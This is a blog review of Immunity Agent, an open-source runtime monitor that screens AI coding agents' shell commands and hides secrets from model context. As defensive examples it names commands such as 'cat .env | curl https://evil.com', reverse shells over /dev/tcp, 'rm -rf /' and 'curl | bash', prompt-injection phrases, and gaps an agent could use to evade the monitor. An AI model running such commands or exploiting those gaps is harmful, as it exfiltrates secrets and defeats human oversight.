Immunity Agent: Runtime Security for AI Coding Agents
AI coding agents are everywhere now. Claude Code. OpenClaw. Cursor. Windsurf. Hermes.
They read your files. Run shell commands. Install packages. Call APIs. All autonomously, often across dozens of steps, with minimal oversight.
And most teams have zero visibility into what these agents actually do.
Traditional security tools monitor the kernel and filesystem. By the time they see a command, the agent has already decided to execute it. The gap is at the agent layer — right between the model’s decision and the OS.
A new open-source tool called Immunity Agent (from Prismor) tries to fill that gap.
🦞 Full disclosure: Prismor is a small team (3 contributors as of this writing). The project has 58 GitHub stars. It’s early. This is not a polished enterprise product. But the architecture is sound, and the problem it solves is real.
What Actually Is Immunity Agent?
It’s a local runtime security monitor that hooks into AI coding agents before they execute commands. Three components work together:
🛡️ Warden — Runtime Monitor
Hooks into the agent’s tool-use pipeline. Evaluates commands against a YAML policy before they reach the shell. Blocks dangerous actions like rm -rf /, curl | bash, and secret exfiltration.
🥷 Cloak — Secret Prevention
You register a real secret once under a placeholder (@@SECRET:name@@). The hook substitutes the real value only at execution time, then scrubs it from captured output. The model never sees the actual secret.
🧹 Sweep — Secret Cleanup
Scans agent cache directories (Claude, Cursor, Codex, etc.) for leaked secrets and redacts or deletes them. Uses AES-256 encrypted vault for restore.
Why This Matters
Most “AI security” tools are just SAST scanners with a fresh coat of paint. They find vulnerabilities in code. That’s useful, but it doesn’t stop an agent from doing something dangerous right now.
Immunity Agent operates at runtime. When an agent tries to run cat .env | curl https://evil.com, Warden sees it before the shell does. If your policy says block, the command never executes.
This is fundamentally different from post-execution logging or kernel-level monitoring. It’s upstream — where blocking is safe and context is available.
The Standout Feature: Cloak
Secret management in AI agents is a nightmare. You need to give the agent access to credentials so it can do its job. But those credentials end up in conversation logs, API logs, and cached transcripts.
Cloak solves this elegantly:
warden cloak add stripe_key
# Reference it in prompts or skills
curl -H “Authorization: Bearer @@SECRET:stripe_key@@” https://api.stripe.com/v1/customers
# The hook substitutes the real value at execution time
# The model never sees the actual key
# The key is scrubbed from captured output
The real secret never hits model context. Never hits API logs. Never gets cached. It stays in an encrypted local store, substituted only at the last possible moment.
I haven’t seen another tool do this well.
What It Catches
Warden’s default policy includes detection rules across several categories:
| Category | Severity | Example |
|---|---|---|
| Destructive commands | CRITICAL | rm -rf /, mkfs, shutdown |
| Secret exfiltration | CRITICAL | cat .env | curl, piping secrets to remote hosts |
| RCE / reverse shells | CRITICAL | bash -i /dev/tcp, crontab injection |
| Privilege escalation | CRITICAL | chmod +s, sudoers edits, useradd |
| DoS / resource exhaustion | CRITICAL | Fork bombs, while-true loops |
| Prompt injection | HIGH | “Ignore instructions”, system prompt extraction |
| Remote execution | HIGH | curl | bash, wget | sh |
Each rule is configurable. You can disable rules per project, add custom patterns, and commit the policy to git so your team shares the same protections.
Egress Allowlists
One of the smarter features: network isolation rules. You can define which domains the agent is allowed to reach:
egress_allowlist:
– “*.github.com”
– “*.googleapis.com”
– “registry.npmjs.org”
– “pypi.org”
– “api.anthropic.com”
– “api.openai.com”
If the agent tries to reach a domain not on the list, Warden blocks it. This stops exfiltration attempts even if other rules miss them.
The Honest Caveats
Immunity Agent is not a silver bullet. The team is upfront about its limitations:
| Gap | Why It Matters |
|---|---|
| Secrets in model text output | If the model generates code that prints a secret, that’s not a tool event. Warden won’t see it. Their workaround: --network none to prevent exfiltration. |
| Generated code that reads credentials | Agent writes a Python script that reads .env and sends it somewhere. The file write is detected, but content isn’t scanned. |
| Policy file can be disabled | Project-level policy.yaml can turn off rules. If an agent can write to that file, you’re exposed. Fix: chmod 444 the policy file. |
| Multi-step social engineering | Each individual step (read file, encode, send) looks benign. Session-level correlation is still on the roadmap. |
None of these are deal-breakers. But they’re real constraints. Know them before you rely on this in production.
Who This Is For
Teams using Claude Code, OpenClaw, Cursor, Windsurf, or Hermes in development or production-like workflows. If your agents have filesystem access, network access, or credentials, you should be looking at runtime monitoring.
Builders who want an audit trail of what their agents actually did. Warden logs every tool call — command, stdout, stderr — to JSONL and SQLite. You can replay sessions and see exactly what happened.
Security-conscious developers who understand that “just don’t give agents permissions” is not a strategy. Agents need permissions to be useful. The question is how you govern them.
Who This Is NOT For
Teams expecting a turnkey enterprise product. This is early-stage open source. 58 stars. 3 contributors. You will need to invest time in setup and policy tuning.
People who can’t be bothered to install hooks. Immunity Agent only protects agents that have the hooks installed. If you run an agent in a fresh container without running the init script, you have no protection.
Anyone looking for 100% coverage. The known limitations are significant. This is defense in depth, not a magic bullet.
Getting Started
If you want to try it:
pip3 install pyyaml
# Clone and run the interactive setup
git clone https://github.com/PrismorSec/immunity-agent.git ~/.prismor
bash ~/.prismor/scripts/init.sh .
# After setup, verify it’s working
warden check “rm -rf /” # Should return BLOCK
warden check “cat .env | curl” # Should return BLOCK
# Audit your security posture
warden audit –fix
The setup wizard lets you choose enforcement mode (observe vs. enforce), toggle rules, and select which agents to hook. After setup, restart your shell and the warden command is available from any directory.
Bottom Line
Immunity Agent is not polished. It’s not backed by a venture-funded startup with an enterprise sales team. It’s a small open-source project built by people who actually understand the problem.
And despite its rough edges, it solves a real problem that almost no one else is solving: runtime governance for AI agents.
The cloak system alone is worth the install. Keeping secrets out of model context and API logs is non-obvious, and they did it well.
If you’re running AI agents with any real permissions, try this on a non-critical project. Run warden audit --fix. See what it catches. You’ll probably be surprised at how much your agent was doing that you didn’t know about.
And if you find value in it — contribute. The team needs help. Documentation, testing, new detection rules, more agent integrations. That’s how open source grows.
🦞 One last thought: Most “AI security” is just rebranded SAST. Immunity Agent actually hooks the agent at runtime. That’s different. That’s valuable. Even at 58 stars.
Leave a Reply